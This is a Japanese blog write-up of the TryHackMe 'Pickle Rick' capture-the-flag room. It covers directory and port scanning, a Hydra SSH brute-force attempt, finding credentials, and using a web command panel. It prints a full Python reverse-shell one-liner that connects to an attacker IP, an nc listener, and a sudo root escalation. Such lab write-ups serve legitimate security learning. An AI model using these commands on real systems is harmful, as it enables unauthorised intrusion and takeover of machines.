はじめに
今回は私がTryHackMeの2問目に解いた問題「Pickle Rick」のWriteupを書いていきたいと思います.前回よりかは少し慣れたかなという感じでした.
Task1:Pickle Rick
今回のRoomはタスクが一つしかなく,問題も3問と少ないですが,その分与えられているヒントが少ないものでした.
webサーバーにアクセス
説明文にwebサーバーとあったのでとりあえず該当IPにfirefoxでつないでみます.
ここから特に得られる情報はなさそうです.
(後でここにもヒントがあることにも気づきますが…)
ディレクトリ探索(1)
gobuster dir -u 10.10.27.90 -w /usr/share/wordlists/dirb/common.txt -o gobuster_dir.log
assets
というディレクトリがあるようですね.
ポートスキャン
sudo nmap -p- -vv -T4 -O -sV 10.10.27.90
20番と80番ポートが開いているようです.(SSHとApache)
Hydra
トップページに書いてたBURRRRRRRRP
がユーザ名かなと思ったのでブルートフォース試してみます.
hydra -l BURRRRRRRRP -P /usr/share/wordlists/rockyou.txt ssh:10.10.27.90
パスワード認証を許可してないみたいですね.
先ほどのディレクトリ探索で明らかになったassets
にアクセスしてみます.
一通り見てみたけど特に関係なさそう?
ディレクトリ探索(2)
html,php,txtに絞って探索します.
gobuster dir -u 10.10.27.90 -w /usr/share/wordlists/dirb/common.txt -x html,txt,php -o gobuster_dir_1.log
index.html
,login.php
,portal.php
が見つかりました.
login.php
にアクセスしてみます.
ログイン画面が出てきました./assetsの中に入っているportal.jpgが読み込まれてるみたいですね.
exiftool
でportal.jpg
を見てみます.
特にヒントはありませんでした.
robots.txt
謎の文字列が出てきました.これがパスワードだったりするんですかね?
先ほどのログインフォームに入力してみます.
ユーザ名:BURRRRRRRRP
パスワード:Wubbalubbadubdub
これではログインできませんでした.
ここで先ほど書いたトップページのページのソースを見てみます.
こんなところに書いてたんですね.めちゃくちゃ得られる情報がありました.
これでログインできました.
ユーザ名:R1ckRul3s
パスワード:Wubbalubbadubdub
*他の人のwriteup見てわかったんですけど,ディレクトリ探索の時にwordlist変えたらrobots.txtも出てくるみたいですね.
Reverse Shell
ここに何かしらのコマンド打てばいいのかな
コマンドパネルが出てくる.それ以外のページは全て許可がないらしい
ここにもコメントアウトされてるものがある.
なんかコメントアウトされてるところがある(base64?)
とりあえずこれをcommand panelに入力してみる.
特に変化なしですね.
先ほどのコメントアウトされてるものを10回デコードしてみるとrabbit hole
(無駄な時間みたいな意味らしい.ひっかけですかね?)というものが出てきました.
ls
コマンド入力してみます.
cat Sup3rS3cretPickl3Ingred.txt
を試してみましたが,見ることができないみたいです.
less
コマンドで見ることができます.これが1問目の答えです.
他に何のコマンドが使えるのか調べてみます.とりあえずpythonを調べてみます.
python3 -c "print('hello world')"
python3は使えるみたいです.ここでpythonのリバースシェルについて調べてみます.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.4.63.195",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
この時,IPアドレスとポートは変更してください.
nc -lnvp 1234
で通信を待ち受けます.これでshellが取れました.
cat clue.txt
で見てみるとLook around the file system for the other ingredient.
とのことだったのでfind
コマンドで探せばいいんですかね?
find / -name second*
/home/rick/second ingredients
にあるようです.cat
で見る際にはパス部分をダブルクオーテションで囲むようにしましょう.
これで2つ目の答えがわかりました.
Privilege escalation
ダメもとでfind
してみます.
find / -name last
やっぱり無理でしたね.
sudoで実行できるコマンドを調べます.
sudo -l
現在のユーザ(www-data)は全てのコマンドをパスワード無しで実行できるようです.
sudo bash
でrootに昇格できました.
後はrootディレクトリに3rd.txt
があるのでこれで終わりです.
終わりに
以前に解いたRootMeと基本的な流れは同じだったので時間的にも早く解くことができました.
是非そちらの記事も見てみてください.
よろしければ改善点などあればコメントいただけると幸いです.
ありがとうございました.